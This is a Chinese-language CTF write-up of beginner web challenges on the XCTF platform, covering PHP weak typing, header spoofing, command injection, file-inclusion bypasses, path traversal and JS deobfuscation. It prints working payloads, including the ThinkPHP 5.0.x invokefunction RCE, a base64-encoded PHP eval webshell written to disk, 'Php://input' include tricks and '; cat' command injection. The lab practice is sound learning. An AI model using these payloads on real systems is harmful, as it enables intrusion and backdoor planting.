最近博客好久没更新了。CTFHUB web基础部分刷完很久了,提高部分的题目太难了,而且量也少。看了一眼阮行止学长提供的刷题顺序。打算开始做攻防世界。攻防世界在很久以前刚接触CTF的时候做了一些题目。当时每道题几乎都是看的wp,基础知识太薄弱了。现在做应该会好些。
<script>
document.oncontextmenu=new Function("return false")
document.onselectstart=new Function("return false")
</script>
页面禁用了右键。用Ctrl + U
或者F12
或者加view-souce:
前缀都可以获得flag。
url:http://111.200.241.244:51547/robots.txt
User-agent: *
Disallow:
Disallow: f1ag_1s_h3re.php
简单的robots.txt隐藏信息。
页面提示你知道index.php的备份文件名吗?
以下为常用的index.php
备份文件。
index.php
index.phps
.index.php.swp
.index.php.swo
.index.php.swn
index.php.php~
index.php.bak
index.php.txt
index.php.old
在这道题中为index.php.bak
。
开局提示你知道什么是cookie吗?
。
我一共知道三种方式来看Cokkie,实际上就是HTTP的响应包。
Burpsuite。这比较麻烦,懒得开Burp 2333。
浏览器开发者工具->网络->标头
利用curl命令直接看(非常优雅
curl -h
-I, --head Show document info only
按钮被设置了disabled
属性无法点击。在F12里删除后点击即可。
Burp Cluster Bomb集束炸弹爆破。
账号admin 密码123456
<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
echo $flag1;
}
if(is_numeric($b)){
exit();
}
if($b>1234){
echo $flag2;
}
?>
php弱类型绕过。
我们先看a。如果我们a传递一个0
会怎么样呢?这里有一个常识需要记住,$_GET
方式传递的值应该是没法传递整数的,也就是我们在浏览器地址栏的输入的数字实际上也是字符型串。
如果我们a传值为0
。比较 的时候也就是"0" == 0
。在PHP中的==
表示类型转化后是否相等。PHP中如果一个数字和一个数字字符串进行比较 ,那么就会自动按照数值进行比较,所以两者是相等的。但是我们无法获得flag,因为在php中"0"
是等于的FALSE
的。
所以我们传一个0,无法获得flag,这里可以用"0a"
来绕过"0a"
首先是一个字符串,但是它不是数字字符串,因为它不符合数字的规则,但是PHP在8.0版本之前,如果一个字符串和一个数字/数字字符串(php 5.6版本下失败) 进行比较时,会自动将字符串转化为数值。一个字符串如何转化为数值呢?其实就是根据它字符串中的最大数字字符串前缀来决定的。如下面的例子。
123a
的最大数字字符串前缀为123
。a123
没有数字字符串的前缀,因为它第一个字符就是字母,所以它的等效数值为0。1e2a
的前缀是科学计数法的1e2
,所以它的等效数值为100。
了解了这些,我们很容易就想到一些payload来得到第一部分的flag。
?a=a
?a=0a
再看 第二部分,首先b
不能为数字 ,但是它要大于1234
。用1235a
就可以了。因为字符串1235a
在和1234比较的时候会自动转化为数值1235,比1234大,同时它还不是数字,实现绕过。
最终paylaod
?a=a&b=1235a
可以用Hackerbar来发请求。这里写个request脚本吧。
import requests
data = {'b': 2}
response = requests.post("http://111.200.241.244:54388/?a=1", data=data).text
print(response)
题目提示说ip地址必须是123.123.123.123,还必须来自https://www.google.com
X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。
Referer
字段实际上告诉了服务器,用户在访问当前资源之前的位置。这往往可以用来用户跟踪。一个典型的应用是,有些网站不允许图片外链,只有自家的网站才能显示图片,外部网站加载图片就会报错。它的实现就是基于Referer
字段,如果该字段的网址是自家网址,就放行。
这道题里在请求包里加上两个属性即可。
蚁剑直连即可。
常见的命令执行题,利用命令分割符实现命令联合执行。
; find / -name "*flag*"
; cat /home/flag.txt
开局让你输密码,但是无论你输什么,它都会弹出这句话。
查看源代码,发现一个长相丑陋的js代码。
function dechiffre(pass_enc){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab = pass_enc.split(',');
var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
k = j + (l) + (n=0);
n = tab2.length;
for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
if(i == 5)break;}
for(i = (o=0); i < (k = j = n); i++ ){
o = tab[i-l];
if(i > 5 && i < k-1)
p += String.fromCharCode((o = tab2[i]));
}
p += String.fromCharCode(tab2[17]);
pass = p;return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
h = window.prompt('Enter password');
alert( dechiffre(h) );
我们发现在此代码中有一些奇怪的数值,比如70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65
和\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"
。
观察第一个,怀疑是ascii码值。这里写一个简易脚本。
s = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65".split(",")
result = ""
for i in s:
result += chr(int(i))
print(result)
这样我们就可以得知了,这个狗屁不同的js代码写了这么多,实际的功能就是把ascii码转化为字符,然后输出出来,不管我们输入的"密码"究竟是什么。
ok,那我么再分析第二个可以字符串,它是十六进制编码,我们可以用python直接print出来。
原来这里又藏了一些ascii码,只要再用上面的脚本跑一下就能出flag了。
配合上题目秒数里的flag格式,即可得到最终flag。
题目描述:想想初始页面是哪个
打开来的页面是1.php
。这十分奇怪,我们手动访问index.php
也会自动跳转到1.php
。
于是我们利用优雅的命令行curl
来康康有什么玄机。
curl http://111.200.241.244:57896/index.php
能藏哪呢?只能响应包的标头里了吧2333
成功得到flag。同时我们也知道了跳转的原因了,是Location
在起作用。
php如何添加头部信息呢?十分方便,用header
函数即可。
<?php
header("Location: index.html");
简单的robots.txt藏信息,这不是和之前的robots
题目重复了嘛2333。
ThinkPHP漏洞利用。
github有漏洞合集。SkyBlueEternal/thinkphp-RCE-POC-Collection: thinkphp v5.x 远程代码执行漏洞-POC集合 (github.com)
index.php?s=index/\think\module/action/param1/${@phpinfo()}
随便找一个paylaod,试一下,得到准确版本。V5.0.20
利用github里的5.0.21的命令执行漏洞即可。
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
观察payload,发现运行的命令就是最后的id
。只需要在这里改成其他的命令,我们就能命令执行了。
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
得到flag后我还尝试了以下写木马2333。之前很多题都不能写,估计设置了权限。这道题可以。
首先把一句话木马base64加密一下,防止写文件时$
被shell认为是特殊符号的问题(当然用单引号也可解决这个问题)
echo '<?php @eval($_POST["wuuconix"]);?>' | base64
然后写文件。
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo 'PD9waHAgQGV2YWwoJF9QT1NUWyJ3dXVjb25peCJdKTs/Pgo=' | base64 -d > shell.php
成功连接。
我们可以看见Thinkphp的网站根目录是在/var/www/public
里的。
这道题考察伪协议php://input
的利用。
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
include
函数的参数是一个文件名,也就是我们可以控制包含的一个文件名。但是显然,我们知道的文件只有index.php
本身,自己包含自己没有意思,我们最好能够包含一个可以执行命令的php文件。
php://input
伪协议就可以帮助我们实现这个想法,它可以读取一个数据流。这个输入流是用POST方式传递的。
也就是这样一个过程。
php://input
,同时POST传递我们自己的php代码。php://input
生效的条件是allow_url_fopen
和allow_url_include
都设置为On
。
题目其实还给了个phpinfo.php文件,这是后来命令执行的时候发现的,下次做题还是得先扫,掌握更多的信息。
同时考虑到这道题对php://
进行了循环检测,一直置空,普通的双拼是无法绕过的。但是它用的strstr
函数和stristr
,大小写敏感,所以我们用Php://
大写绕过即可。
这道题最后cat fl4gisisish3re.php
的时候,是看不到flag的,因为这个文件它内部是一个php的赋值语句,index.php include之后,没有echo 语句,照样看不到。有两种方法解决。
cat 的时候加上base64加密。
# POST
<?php system("cat fl4gisisish3r3.php | base64"); ?>
利用php://filter 直接读base64加密后的源码。
?page=Php://filter/read=convert.base64-encode/resource=fl4gisisish3r3.php
此外,其实这道题按理还有一种做法,那就是远程包含一个url文件。
但是这道题输入一个url后直接崩溃了,不知道什么情况。我在我服务器上尝试是可以的。
描述:云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。
页面有个id。
sql注入做多了,就以为是注入,但是手动试了很多都不行,没有回显,用sleep函数也失效。貌似输入除了非数字的都会跳转到id=1
。因为它的标头里有个Localtion
。
自然sqlmap也扫不出来。
无奈看wp,看到一半突然知道直接爆破id即可。
当id为2333时,即可获得flag。
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
这道题之前刚接触ctf的时候做过,当时很难理解。现在很好理解了。
首先这道题有个hint.php
,提示flag在ffffllllaaaagggg
而souce.php
中有include
文件包含函数,我们可以想办法绕过,然后去包含这个flag文件即可。
题目中有这样一个语句
$_page = mb_substr($page,0,mb_strpos($page . '?', '?'))
也就是把你传的哪个文件名里问号前面的部分截取出来(如果没有问号就全取)。但是一般来说正常文件名也没有问号呀2333,所以这道题还是挺刻意的。
它会去验证问好前面的部分是不是source.php
或者hint.php
,只有这两个文件是白名单。
那么很显然payload就是这样的。
?file=hint.php?../ffffllllaaaagggg
但是非常可惜,没有输出。
被迫看wp,原来这个flag文件在根目录下,hint倒是说清楚呀2333。
?file=hint.php?../../../../../ffffllllaaaagggg
同时这道题还可以二次url加密,形成一个payload,没啥意思。也能得到flag。
这道题让我比较感兴趣的一点在于目录遍历的时候,文件名后加个?
竟然能够毫无阻碍得继续向上级目录进发,仿佛没有这个问号似的。
在linux里是无法实现类似操作的。
我用本地环境试了一下,发现还蛮有道理的。
?file=poc.py../../../../../../flag
?file=poc.py?../../../../../../flag
这是为什么呢?看完下一个payload你就懂了。
?file=poc.py?sdjfljdflsldfjasklfjweiohfuuwejvsdv6513544../../../../../../flag
我在poc.py?后面又乱打了一堆东西仍然能够正常得到flag。
实际上在php眼里这几个paylaod都是一样的,因为它们都是通过当前目录下的某个文件,一开始是poc.py
,然后是poc.py?
,最后是poc.py?sdjfljdflsldfjasklfjweiohfuuwejvsdv6513544
,来进入上级目录,我们这种目录遍历的形式实际上把哪个文件看成了文件夹。
所以这时哪个文件具体的内容,甚至说存不存在这个文件都已经没有关系了,因为我们只是把它当跳板,显然php也是这么想的。
所以我们在这道题里输的source.php?
,php会把它看成一个文件夹,虽然它不存在,而我们以这个虚空的文件夹为基础跳板,得到了根目录下的flag。
看似是一道web题,实际上是一道密码题2333。对应写出逆就行了。
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function encode($str){
$_o=strrev($str);
// echo $_o;
for($_0=0;$_0<strlen($_o);$_0++){
$_c=substr($_o,$_0,1);
$__=ord($_c)+1;
$_c=chr($__);
$_=$_.$_c;
}
return str_rot13(strrev(base64_encode($_)));
}
highlight_file(__FILE__);
/*
逆向加密算法,解密$miwen就是flag
*/
?>
解密脚本
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$_ = base64_decode((strrev(str_rot13($miwen))));
$_o = "";
for ($i = strlen($_); $i >= 0; $i--) {
$_c = substr($_, $i, 1);
$_o = chr(ord($_c) - 1) . $_o;
}
$_o = strrev($_o);
echo $_o;
?>
这里发现了一个有趣的函数,str_rot13,实际上就是移位密码,每个字母往后移13位。因为字母个数是26位,所以再移一次就移回来了,故其逆函数就是本身。